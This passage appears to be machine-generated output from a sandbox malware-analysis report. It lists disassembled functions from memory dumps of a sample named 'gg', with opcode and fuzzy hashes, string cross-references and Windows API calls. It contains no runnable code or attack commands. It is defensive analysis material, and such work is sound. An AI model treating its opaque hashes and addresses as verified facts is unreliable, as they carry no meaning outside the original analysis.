Instruction Fuzzy Hash: 3FC2A2B4A012299FDB64DF24D898B9DB7B2FB49304F1085E9D80DA7350DB35AE85CF41

Uniqueness

Uniqueness Score: -1.00%

Function 07C00CF0 Relevance: 20.6, Strings: 16, Instructions: 618
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07C00EF0
$^q, xrefs: 07C00DE2
$^q, xrefs: 07C00D6C
$^q, xrefs: 07C01308
$^q, xrefs: 07C00F16
$^q, xrefs: 07C012E3
$^q, xrefs: 07C01398
$^q, xrefs: 07C01353
$^q, xrefs: 07C00DBC
$^q, xrefs: 07C0129E
$^q, xrefs: 07C01314
$^q, xrefs: 07C00F22
$^q, xrefs: 07C00DEE
$^q, xrefs: 07C013C9
$^q, xrefs: 07C00EA0
$^q, xrefs: 07C013BD

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2449488485
Opcode ID: 1ab1f992a524d86f4cc5ae00320f7dae2e4b7ebcd104c15eb6acc78db9f43828
Instruction ID: a2440a3e3cd9a317cc6ca8be336f6609661899f5beaa76e6495330bf917b368b
Opcode Fuzzy Hash: 1ab1f992a524d86f4cc5ae00320f7dae2e4b7ebcd104c15eb6acc78db9f43828
Instruction Fuzzy Hash: E422A270B042499FCB089B69C894A6EBBF6FF89300F14846AD506DB3A1CF75DD418BD1

Uniqueness

Uniqueness Score: -1.00%

Function 07C014EC Relevance: 7.8, Strings: 6, Instructions: 336
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07C019BF
$^q, xrefs: 07C01796
$^q, xrefs: 07C0184B
$^q, xrefs: 07C019F0
$^q, xrefs: 07C019E4
$^q, xrefs: 07C0197A

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 912c1722e49976abdf64387abcb77cd3fe6122dba04e0389fa08d04fc3aad4c4
Instruction ID: 0007a8bf5f2a1e72ce6d62f3bdd60a96ace481cba6e7dc5a2a50f5c5e36cd080
Opcode Fuzzy Hash: 912c1722e49976abdf64387abcb77cd3fe6122dba04e0389fa08d04fc3aad4c4
Instruction Fuzzy Hash: 6BC1F1B07006099FDB189B69C894A2EB7E6FF89704F148469E5028B3E2CF79DD4687D1

Uniqueness

Uniqueness Score: -1.00%

Function 015BD0A8 Relevance: 6.1, APIs: 4, Instructions: 133
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 015BD136
GetCurrentThread.KERNEL32 ref: 015BD173
GetCurrentProcess.KERNEL32 ref: 015BD1B0
GetCurrentThreadId.KERNEL32 ref: 015BD209

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 4a1f5cad0be465eb3904607a0321543746090aecebaaed497a86148d4cc27775
Instruction ID: a2d7080360097471712d46b877b1f670c4413bef8336c3b24cfc5263849b8998
Opcode Fuzzy Hash: 4a1f5cad0be465eb3904607a0321543746090aecebaaed497a86148d4cc27775
Instruction Fuzzy Hash: 025138B0D012498FDB14DFA9D548BDEBFF1FB88314F208869E459AB3A0DB345944CB65

Uniqueness

Uniqueness Score: -1.00%

Function 015BD0B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 015BD136
GetCurrentThread.KERNEL32 ref: 015BD173
GetCurrentProcess.KERNEL32 ref: 015BD1B0
GetCurrentThreadId.KERNEL32 ref: 015BD209

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1222bb9b7887077a943767786fad76469b90377abe5c2a9568cac9486ede8f54
Instruction ID: 3fea34170c78f368e9fd14d104bd967215097a89db42d562fff959c6ad5b3e89
Opcode Fuzzy Hash: 1222bb9b7887077a943767786fad76469b90377abe5c2a9568cac9486ede8f54
Instruction Fuzzy Hash: 955127B0D016498FDB14DFA9D548BDEBBF1BB88314F208859E419AB3A0DB349984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 015BAE30 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 015BB086

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 60c8ba9bd4a0f48abf90b64be22c32ee996c17d6974403d16e40be5605574ab7
Instruction ID: fed77ccc4dd78ef239d2c273dc9ddd069cc6e788a6ae6f2e90769b22fa03c7e0
Opcode Fuzzy Hash: 60c8ba9bd4a0f48abf90b64be22c32ee996c17d6974403d16e40be5605574ab7
Instruction Fuzzy Hash: 7F7137B0A00B458FD724DF29D58479ABBF1FF88304F10892DE59ADBA50D775E849CB90

Uniqueness

Uniqueness Score: -1.00%

Function 07C005F8 Relevance: 1.6, Strings: 1, Instructions: 391COMMON

Download Yara Rule

Strings

jPj, xrefs: 07C005FC

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID: jPj
API String ID: 0-2042862226
Opcode ID: 8a8055d1706db09d4a2cd54b8569d97a0fa9944fadccec0058c10859016efedd
Instruction ID: 8f7658d14ccf286e3f1bc48bab987cdc30bbc437e59e06be2cbac584278fca77
Opcode Fuzzy Hash: 8a8055d1706db09d4a2cd54b8569d97a0fa9944fadccec0058c10859016efedd
Instruction Fuzzy Hash: 6AE17C707403149FCB149F68C895B297BE6FB8A704F119469E6029B3E1CFBADC858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 079B34E0 Relevance: 1.6, APIs: 1, Instructions: 123COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 079B3628

Memory Dump Source

Source File: 00000015.00000002.2069218530.00000000079B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_79b0000_gg.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c363a06237d165f5ad2cecc5f1879c16a4d3bc57dc06e52f5f52b49e766f1641
Instruction ID: 5c8ea9761549c3b579cdf40381e61b04404a2a2b4ce157ca3c6a7bf61640d8a7
Opcode Fuzzy Hash: c363a06237d165f5ad2cecc5f1879c16a4d3bc57dc06e52f5f52b49e766f1641
Instruction Fuzzy Hash: B651E4B4E01208DFCB08EFA5D5946DDBBB2FB89304F20912AD416BB354DB396946CF41

Uniqueness

Uniqueness Score: -1.00%

Function 079B34D2 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 079B3628

Memory Dump Source

Source File: 00000015.00000002.2069218530.00000000079B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_79b0000_gg.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: edd1492a90498b135375097447c2fffa2c4ffe6f0305b81f27d0c2fc6a1a7969
Instruction ID: f97e63947a7d049323b37be0b879a0c9da0619004609bb57e256296c2b77efb7
Opcode Fuzzy Hash: edd1492a90498b135375097447c2fffa2c4ffe6f0305b81f27d0c2fc6a1a7969
Instruction Fuzzy Hash: C041D2B4E01209DFCB08EFA5D5946DEBBB2FF88304F20912AD416AB764DB395946CF41

Uniqueness

Uniqueness Score: -1.00%

Function 015B5935 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 015B59F1

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 37507875ae1584c2dedb93d68e3af3db59b7a32a1d406c72ce96b159f660a80c
Instruction ID: 5ec264047f42c87652bf6f9efdf4fed11e804a968d7ec2618012540a49baac83
Opcode Fuzzy Hash: 37507875ae1584c2dedb93d68e3af3db59b7a32a1d406c72ce96b159f660a80c
Instruction Fuzzy Hash: 8741EFB0C10719CADB24CFA9C8847DDBBF5BF49304F24846AD408BB255DBB56986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 015B4248 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 015B59F1

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9aba1b7bcb5dcc2425129e9af013817c23bff08796b09759cc3286c28d650c49
Instruction ID: bec96a5b5f0a39830c3eea95384f1e55969a210f4b78cc3d6d73b646386a715f
Opcode Fuzzy Hash: 9aba1b7bcb5dcc2425129e9af013817c23bff08796b09759cc3286c28d650c49
Instruction Fuzzy Hash: 9041EFB0D1071DCADB24DFA9C884BDEBBB5BF49304F24846AD408BB251EBB56945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 079B3552 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 079B3628

Memory Dump Source

Source File: 00000015.00000002.2069218530.00000000079B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_79b0000_gg.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8f94feb9a845a055e66bee23e8b2337dc0ce9b182d3004314f0f162057f7e93e
Instruction ID: 3d9acc0902b3b92d0cf93792b60f7c1c4086cf31cf8c4a63940e0bebcfc748e4
Opcode Fuzzy Hash: 8f94feb9a845a055e66bee23e8b2337dc0ce9b182d3004314f0f162057f7e93e
Instruction Fuzzy Hash: CB31A2B4E01209DFCB04EFA4D5949DEBBB2FF48304F20912AD416AB764DA396D46CF41

Uniqueness

Uniqueness Score: -1.00%

Function 015BD2F9 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 015BD387

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 4ceaa0121c613609b9f66d7139d936e2e0b1994d4a694a5ba6a9729a773d6b0d
Instruction ID: 450943e366882237ff19eceb06de1704b4c8f2a1b77c306c6b4fffa831f1ce92
Opcode Fuzzy Hash: 4ceaa0121c613609b9f66d7139d936e2e0b1994d4a694a5ba6a9729a773d6b0d
Instruction Fuzzy Hash: 922114B59002089FDB10CFAAD584ADEBFF8FB48314F10841AE958B7311D378A940CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 015BD300 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 015BD387

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b81b70134cbed5eb0333af7776b5345ae0829549dd866d28f8992006a4252fe4
Instruction ID: ec7f1fbc3b73b461a950d12d44e40fd84310f48a5dcc1da3202895c8736b29ec
Opcode Fuzzy Hash: b81b70134cbed5eb0333af7776b5345ae0829549dd866d28f8992006a4252fe4
Instruction Fuzzy Hash: 0021E4B59002089FDB10CFAAD584ADEBFF4FB48310F14841AE918A7310C378A940CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 079B3AB8 Relevance: 1.6, APIs: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 079B3B1D

Memory Dump Source

Source File: 00000015.00000002.2069218530.00000000079B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_79b0000_gg.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d203b85e1eb94420a1667d9ccc20ed7caa26560c5114599907a3b14d74250b81
Instruction ID: 7fb0b585a53e5f8878a201706a0684b53e34df4a71018dae0d55c5ecd3c58e10
Opcode Fuzzy Hash: d203b85e1eb94420a1667d9ccc20ed7caa26560c5114599907a3b14d74250b81
Instruction Fuzzy Hash: 1F21F2B4E01229DFCB18DFA9E580ADDBBB5FB89314F10902AE415BB364DB345841CF54

Uniqueness

Uniqueness Score: -1.00%

Function 015BA870 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,015BB101,00000800,00000000,00000000), ref: 015BB312

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6408c368cd2433f01ddaceb03be32a2176f488810a024f998315581ddb2c3d24
Instruction ID: 51b3cd7f029cd4d66af9ed9dc36716b1f5ef3c8a84b9871e7a535e844d597f17
Opcode Fuzzy Hash: 6408c368cd2433f01ddaceb03be32a2176f488810a024f998315581ddb2c3d24
Instruction Fuzzy Hash: 7911D0B69003499FDB14DF9AD484ADEFBF4EB48310F10842AE919AB210C3B5A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 015BB2A0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,015BB101,00000800,00000000,00000000), ref: 015BB312

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d1a7fb42a5627b9da0e61e2ae9012196df7a9889008e34399163d3d0f9269fdd
Instruction ID: f1d786a064401a0e8fcac40e8fec8bda3ac06f7ff590a9df0601a7c41cf1ebb9
Opcode Fuzzy Hash: d1a7fb42a5627b9da0e61e2ae9012196df7a9889008e34399163d3d0f9269fdd
Instruction Fuzzy Hash: 6A1112B69002498FDB14DFAAD484ADEFBF4EB88310F14842AD919AB210C3B5A545CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07BFF87C Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,07BFFD76), ref: 07BFFE7E

Memory Dump Source

Source File: 00000015.00000002.2070494348.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7bf0000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 7430e01bb4eff892c8a3ad4f53051373affa194f6710772df5028b9804e4490b
Instruction ID: 072db3dba352bc84619bb76096aa4ff464bbfde6a114023692647a3451fb8c51
Opcode Fuzzy Hash: 7430e01bb4eff892c8a3ad4f53051373affa194f6710772df5028b9804e4490b
Instruction Fuzzy Hash: F81112B29003198FDB20DF9AD444BAEFBF5EB88610F10846AD519A7311C379A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07BFFE10 Relevance: 1.6, APIs: 1, Instructions: 51libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,07BFFD76), ref: 07BFFE7E

Memory Dump Source

Source File: 00000015.00000002.2070494348.0000000007BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7bf0000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: deed6525c0b6c81bc5bcefa7b92c2441702abe80ed1ea792c0011a5e4ac120ad
Instruction ID: 039ad6d08c0a7514643043b1874d8cf06b36a68c3eed94fc5e1842649aa9095b
Opcode Fuzzy Hash: deed6525c0b6c81bc5bcefa7b92c2441702abe80ed1ea792c0011a5e4ac120ad
Instruction Fuzzy Hash: 5C1150B6D003098FDB10CFAAC444B9EFBF4EF48314F10846AC419A7211C378A54ACFA0

Uniqueness

Uniqueness Score: -1.00%

Function 079B32F8 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

GetKeyboardLayout.USER32(00000000), ref: 079B336E

Memory Dump Source

Source File: 00000015.00000002.2069218530.00000000079B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_79b0000_gg.jbxd

Similarity

API ID: KeyboardLayout
String ID:
API String ID: 194098044-0
Opcode ID: d6f8bcdce5987e553d53c890f67d6030d68f5b6826125a3b2e85903fdf087ad0
Instruction ID: 8aac6ce7990456ef2be73f325e7f28c6d4b774f5a9a95c1a21e6ddbbec94ccd2
Opcode Fuzzy Hash: d6f8bcdce5987e553d53c890f67d6030d68f5b6826125a3b2e85903fdf087ad0
Instruction Fuzzy Hash: 061153B0900309CFCB20EFA9D0497DEBFF4EB49224F108869D409AB610D739A544CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 015BB020 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 015BB086

Memory Dump Source

Source File: 00000015.00000002.2055466417.00000000015B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_15b0000_gg.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d60eea59c931596a3e14c05a4a16901fc0c212313ed1ee033e03e268a0ac110a
Instruction ID: 32fbd0814b4f7837f2c877df20b4fb2f373072a3d1809c6811cd9b9f5dad5062
Opcode Fuzzy Hash: d60eea59c931596a3e14c05a4a16901fc0c212313ed1ee033e03e268a0ac110a
Instruction Fuzzy Hash: D411E0B5D003498FDB20DF9AD484ADEFBF4AB89324F10842AD569B7210C3B9A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 079B3400 Relevance: 1.5, APIs: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 079B345D

Memory Dump Source

Source File: 00000015.00000002.2069218530.00000000079B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_79b0000_gg.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: dc444fbc2df8ed9fc10e67819a90091b111e5d9032dfe1bbfc61f6f1cf00d11b
Instruction ID: 1ee677a85a407a70d68f93b3a1a4517e431de31c86bd4705db991bfe722536ff
Opcode Fuzzy Hash: dc444fbc2df8ed9fc10e67819a90091b111e5d9032dfe1bbfc61f6f1cf00d11b
Instruction Fuzzy Hash: 651145B5900309CFCB20DFAAE544BCEBBF4EB48324F14841AD559A7250C375A584CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 09654BB0 Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0965A005

Memory Dump Source

Source File: 00000015.00000002.2073715574.0000000009650000.00000040.00000800.00020000.00000000.sdmp, Offset: 09650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_9650000_gg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: fa866d424c28cee693550833c3e80f2559f93c0e2dc9d8ae339d55c576461bf3
Instruction ID: 49c3a15f4f4d28946f75c7e4c24d93cbcbf2eff462dd607e1015fcda24f56053
Opcode Fuzzy Hash: fa866d424c28cee693550833c3e80f2559f93c0e2dc9d8ae339d55c576461bf3
Instruction Fuzzy Hash: 3911F5B5800349DFCB10DF99D489BDEBBF8EB48314F108419E959A7201C375A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 079B0770 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 079B345D

Memory Dump Source

Source File: 00000015.00000002.2069218530.00000000079B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_79b0000_gg.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 652577aa6f0c696b922785a5553f4d3c82449b739df7925c478adae631326c7f
Instruction ID: 7356c323d487b3d018dae8d0d99ac2668bbfe2fb15eb477b454b62fe40996912
Opcode Fuzzy Hash: 652577aa6f0c696b922785a5553f4d3c82449b739df7925c478adae631326c7f
Instruction Fuzzy Hash: C11133B0900308DFCB20DF9AD548BDEBBF8EB48324F108819D519A7210C374A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 079B3308 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetKeyboardLayout.USER32(00000000), ref: 079B336E

Memory Dump Source

Source File: 00000015.00000002.2069218530.00000000079B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_79b0000_gg.jbxd

Similarity

API ID: KeyboardLayout
String ID:
API String ID: 194098044-0
Opcode ID: 0805e2c0046419d7bfe31088b6acff6190d278af60632bb8364cbbf2e62a020e
Instruction ID: c58ed07dd60aba0e0c8483d3d87de1ebac1ac09b294cbab215c3d937278cddc1
Opcode Fuzzy Hash: 0805e2c0046419d7bfe31088b6acff6190d278af60632bb8364cbbf2e62a020e
Instruction Fuzzy Hash: 741122B09003199FCB20EFAAD5497DEBBF4EB49224F108829D419AB240D779A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 09659FA0 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 0965A005

Memory Dump Source

Source File: 00000015.00000002.2073715574.0000000009650000.00000040.00000800.00020000.00000000.sdmp, Offset: 09650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_9650000_gg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: dc32e6e2e317778b95aea0a68d0e9954dcc9a1fba7ee8e96400dc6c870dc4c3b
Instruction ID: 3ca33b30bca63e4d1adbd2080311925c38d4d1be750c5f3971e6a31b682309d6
Opcode Fuzzy Hash: dc32e6e2e317778b95aea0a68d0e9954dcc9a1fba7ee8e96400dc6c870dc4c3b
Instruction Fuzzy Hash: EA11E3B58003499FCB20DF99D589BEEBBF4FB48314F10851AE959A7610C375A984CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 07C01B08 Relevance: 1.5, Instructions: 1478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f9c665f3ee481e42e796968548317b45cb5e8b93eec98df31a5f993dfdf428d
Instruction ID: 391699d43c1ce1aab4527534fb4664d7a7a03dc0ebf090e45b32a9a413f18e1b
Opcode Fuzzy Hash: 5f9c665f3ee481e42e796968548317b45cb5e8b93eec98df31a5f993dfdf428d
Instruction Fuzzy Hash: 4AC27F70B402189FCB14DB68CD94AADBBB2FF89700F108099E605AB3A5DB71DD81DF91

Uniqueness

Uniqueness Score: -1.00%

Function 07C00048 Relevance: .7, Instructions: 676COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38141513b218d0ff24dd44e2df364300d08d4a072e83f6970e601e064b9701a1
Instruction ID: 8d9b43c7f6667686178ab6a89c90dae52dc240a7cb84d2e9d6e54cd267778a8a
Opcode Fuzzy Hash: 38141513b218d0ff24dd44e2df364300d08d4a072e83f6970e601e064b9701a1
Instruction Fuzzy Hash: DD4257707406258FCB24AF68D450A2EBBE2FBC5204B11496CD5039B7A1CFBAED458BD6

Uniqueness

Uniqueness Score: -1.00%

Function 07C0200D Relevance: .6, Instructions: 576COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92853a5b100885a3922bfd171abcd7acfa871ffbf710d2ccd25b61f49d5a80d0
Instruction ID: 18f6be8a3cab762dd883662b78ccd680d3315f1122711afd0bb86d96090b7daf
Opcode Fuzzy Hash: 92853a5b100885a3922bfd171abcd7acfa871ffbf710d2ccd25b61f49d5a80d0
Instruction Fuzzy Hash: 932250B4740218DFCB149B24C995AAE77F2FF88704F118099EA065B3A6CF71DD829BD1

Uniqueness

Uniqueness Score: -1.00%

Function 07C03B4F Relevance: .5, Instructions: 526COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f7b68cbc5ac316e3126abea8af7f858b6fe879eda8adaa038e94e5a15d4f96f
Instruction ID: 0bc1f3f40c313521e903810b9f5915797fb2e876709e98a97aacd056c40c3183
Opcode Fuzzy Hash: 5f7b68cbc5ac316e3126abea8af7f858b6fe879eda8adaa038e94e5a15d4f96f
Instruction Fuzzy Hash: 7B121674B402189FCB04DF68C994EADBBB6EF89704F11809AE506DB3A5DB71ED41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 07C00508 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0870225023f2857cd68c9335f9e9224cef3a990ad5c5d472b38f587aeeb320a1
Instruction ID: 1c67ae6c504bc7394c384e440aaecf6460d12f481b3ddd5b0b4f7e012c1cd020
Opcode Fuzzy Hash: 0870225023f2857cd68c9335f9e9224cef3a990ad5c5d472b38f587aeeb320a1
Instruction Fuzzy Hash: 2C0267707407149FCB149F68C894B2E7BE2FB8A704F118869D5029B7A1CFBAEC458BD5

Uniqueness

Uniqueness Score: -1.00%

Function 07C00580 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

